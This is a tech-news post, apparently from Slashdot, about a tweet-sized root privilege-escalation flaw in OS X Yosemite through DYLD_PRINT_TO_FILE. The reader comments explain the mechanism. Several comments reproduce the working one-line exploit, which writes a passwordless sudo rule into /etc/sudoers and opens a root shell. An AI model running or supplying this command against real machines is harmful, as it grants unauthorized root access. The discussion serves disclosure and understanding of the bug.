A Tweet-Sized Exploit Can Get Root On OS X 10.10

vivaoporto writes: The Register reports a root-level privilege-escalation exploit that allows one to gain administrator-level privileges on an OS X Yosemite Mac using code so small that fits in a tweet. The security bug, documented by iOS and OS X guru Stefan Esserwhich, can be exploited by malware and attackers to gain total control of the computer. This flaw is present in the latest version of Yosemite, OS X 10.10.4, and the beta, version 10.10.5 but is already fixed in the preview beta of El Capitan (OS X 10.11) Speaking of exploits: Reader trailrunner 7 notes that "HP’s Zero Day Initiative has released four new zero days in Internet Explorer that can lead to remote code execution."

Comments

You're welcome

[slashdice]

echo 'echo "$(whoami) ALL=(ALL) NOPASSWD:ALL" >&3' | DYLD_PRINT_TO_FILE=/etc/sudoers newgrp; sudo -s

Re:You're welcome

[nneonneo]

Some folks were asking how this works, so here goes:

newgrp is a UNIX utility that executes a shell with a new group ID (UNIX specification page: http://pubs.opengroup.org/onli...). This requires root permission since it can change the group ID to one outside the current shell's group list (e.g. to any group in the uid's group list). Therefore, newgrp is a setuid root application which launches a shell.

DYLD_PRINT_TO_FILE is a dyld (OS X dynamic linker) environment variable that tells dyld where to print debugging information. Ordinarily, dyld supports a large number of debugging options to facilitate debugging shared libraries and to allow neat tricks like DYLD_INSERT_LIBRARIES (equivalent to LD_PRELOAD on Linux). When dyld sees this environment variable, it opens a new file descriptor connected to the specified file. Since fds 0,1,2 are already connected to stdin, stdout and stderr, the file is opened as fd 3.

Notably, since newgrp starts as root, the file is opened using root's permissions, even though newgrp later drops privileges to spawn the shell.

Because DYLD_ environment variables can modify a program's behaviour in unexpected ways, they are usually deleted or sanitized prior to running setuid programs (because otherwise an unprivileged attacker could cause a setuid program to misbehave, exactly as in this exploit). Apple clearly forgot to sanitize the new DYLD_PRINT_TO_FILE when shipping Yosemite, opening this particular flaw up.

Finally, the (outer) echo command tells the subshell spawned by newgrp to execute the (inner) echo command, which outputs the string "$(whoami) ALL=(ALL) NOPASSWD:ALL" into fd 3, which (due to the DYLD_PRINT_TO_FILE variable) is /etc/sudoers. This line tells sudo that *any* account is allowed sudo access, and that no password is required to use sudo.

The subshell then exits (no more commands to run), and the final command "sudo -s" executes. Since sudo no longer requires a password, and all accounts can use sudo, "sudo -s" just immediately opens a root shell without prompting.

Re: But can it be a Tweet?

[tysonedwards]

It's a hip way of saying small. He found that invoking DYLD_PRINT_TO_FILE runs as root, and as such can allow a user to write to /etc/sudoers, giving the user sudo privileges, letting them sudo to root. echo 'echo "$(whoami) ALL=(ALL) NOPASSWD:ALL" >&3' | DYLD_PRINT_TO_FILE=/etc/sudoers newgrp; sudo -s

Re: But can it be a Tweet?

[dunkindave]

It's a hip way of saying small. He found that invoking DYLD_PRINT_TO_FILE runs as root, and as such can allow a user to write to /etc/sudoers, giving the user sudo privileges, letting them sudo to root. echo 'echo "$(whoami) ALL=(ALL) NOPASSWD:ALL" >&3' | DYLD_PRINT_TO_FILE=/etc/sudoers newgrp; sudo -s

He found that invoking DYLD_PRINT_TO_FILE runs as root, and as such can allow a user to write to /etc/sudoers, giving the user sudo privileges, letting them sudo to root. echo 'echo "$(whoami) ALL=(ALL) NOPASSWD:ALL" >&3' | DYLD_PRINT_TO_FILE=/etc/sudoers newgrp; sudo -s

Small correction. DYLD_PRINT_TO_FILE doesn't run as root, it just tells the dynamic library where to write error logs. The problem is it is accepted and used by child processes, even setuid ones, so by setting the environment variable, then calling sudo (which runs as root) with an invalid argument that will cause an error to be logged, he can create or append to any file on the machine he wants. He used the sudoers file for his example, but I am sure there are many other possibilities.

BTW, this is a similar exploit to the LD_LIBRARY_PATH exploit from many years ago where you could get a setuid program to use your dynamic library instead of the system one, thereby getting your code to run as root. It was fixed by having the loader check if the program uid doesn't equal euid and if so ignore the LD_LIBRARY_PATH variable. Apparently programmers at Apple are guilty of not learning from history and are therefore repeating it.

Re:Misleading and Hyperbolic Title/Comparison

[Penguinisto]

Well, that and get them to configure and launch sshd... it's off by default on OSX.

Re:See.....

[omnichad]

Now they're currently trying to figure down how to get a live distro running that can mount Mac filesystems so they can fix that. It's kind of hilarious from my POV..

I thought Macs still supported target disk mode. So all you have to do is boot holding T while it's connected via Firewire or Thunderbolt to another Mac/PC and its internal drive shows up as a disk drive.

I guess if they want to waste a day using the wrong tools, they can go ahead.